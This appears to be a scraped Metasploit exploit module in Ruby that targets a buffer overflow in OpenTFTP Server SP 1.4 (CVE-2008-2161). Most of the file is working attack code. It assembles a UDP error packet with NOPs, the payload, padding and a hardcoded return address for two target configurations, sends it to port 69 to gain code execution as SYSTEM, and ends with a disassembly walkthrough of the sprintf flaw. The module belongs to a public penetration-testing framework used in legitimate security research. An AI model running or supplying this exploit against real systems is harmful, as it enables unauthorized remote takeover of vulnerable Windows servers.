137 lines
4.3 KiB
Ruby
137 lines
4.3 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Udp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'OpenTFTP SP 1.4 Error Packet Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in OpenTFTP Server SP 1.4. The vulnerable
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condition triggers when the TFTP opcode is configured as an error packet, the TFTP
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service will then format the message using a sprintf() function, which causes an
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overflow, therefore allowing remote code execution under the context of SYSTEM.
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The offset (to EIP) is specific to how the TFTP was started (as a 'Stand Alone',
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or 'Service'). By default the target is set to 'Service' because that's the default
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configuration during OpenTFTP Server SP 1.4's installation.
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},
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'Author' =>
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[
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'tixxDZ', #Initial discovery, poc
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'steponequit' #Metasploit module
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],
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'References' =>
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[
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['CVE', '2008-2161'],
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['OSVDB', '44904'],
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['BID', '29111'],
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['URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/29111.pl']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 5000,
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'BadChars' => "\x00\x0a\x0d",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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#.bss section that is overwritten
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[ 'OpenTFTP 1.4 Service', { 'Ret' => 0x0041b3ab } ],
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[ 'OpenTFTP 1.4 Stand Alone', { 'Ret' => 0x0041b3ab } ]
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],
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#TFTP server is installed as an NT service by default
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'DefaultTarget' => 0,
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'Privileged' => false,
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'DisclosureDate' => 'Jul 05 2008'))
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register_options(
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[
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Opt::RPORT(69),
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], self.class)
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end
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def exploit
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if target.name =~ /OpenTFTP 1.4 Stand Alone/
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# This hits msvcrt.printf()
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sploit = "\x00\x05" + make_nops(10)
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sploit << payload.encoded
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sploit << rand_text_alpha(20517 - payload.encoded.length)
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sploit << [target['Ret']].pack('V')
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sploit << Rex::Text.rand_text_alpha(1469)
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elsif target.name =~ /OpenTFTP 1.4 Service/
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#This hits time()
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sploit = "\x00\x05" + make_nops(10)
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sploit << payload.encoded
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sploit << rand_text_alpha(20445 - payload.encoded.length)
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sploit << [target['Ret']].pack('V')
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sploit << Rex::Text.rand_text_alpha(1545)
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end
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# Send the malicious packet
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connect_udp
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udp_sock.put(sploit)
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handler
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disconnect_udp
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end
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end
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=begin
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NOTE: If the module is run on a OSX box, you will probably see this error:
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[-] Exploit exception: Message too long
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That's OSX for you.
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The vulnerable condition triggers when the TFTP opcode "\x00\x05" gets parsed in a ntohs() call:
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.text:004022F6 mov eax, ds:dword_41B370
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.text:004022FB movzx eax, word ptr [eax]
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.text:004022FE mov [esp+5C8h+var_5C8], eax
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.text:00402301 mov [ebp+var_550], 0FFFFFFFFh
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.text:0040230B call ntohs
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.text:00402310 sub esp, 4
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.text:00402313 cmp ax, 5
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.text:00402317 jnz short loc_40236F
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...
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When the value matches 0x05, we then head down to a sprinf() function to generate an error
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message, which causes an overflow:
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.text:00402330 mov eax, ds:dword_41B370
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.text:00402335 add eax, 4
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.text:00402338 mov [esp+5C8h+var_5BC], eax
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.text:0040233C mov [esp+5C8h+var_5C0], edx
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.text:00402340 mov [esp+5C8h+var_5C4], offset aErrorIAtClient ; "Error %i at Client, %s"
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.text:00402348 mov [esp+5C8h+var_5C8], offset byte_41B394
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.text:0040234F call sprintf
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And then we either corrupt a msvcrt.printf() or time() call (in logMess), which end up gaining
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control.
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In source:
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http://pastebin.com/QgZDwcan
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else if (ntohs(datain->opcode) == 5) // Line 224
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{
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sprintf(serverError.errormessage, "Error %i at Client, %s", ntohs(datain->block), &datain->buffer);
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logMess(req1, 1);
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..... so on .....
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You can also corrupt a SetServiceStatus() call with a smaller buffer, but obviously doesn't
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give you a better crash than this one.
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=end
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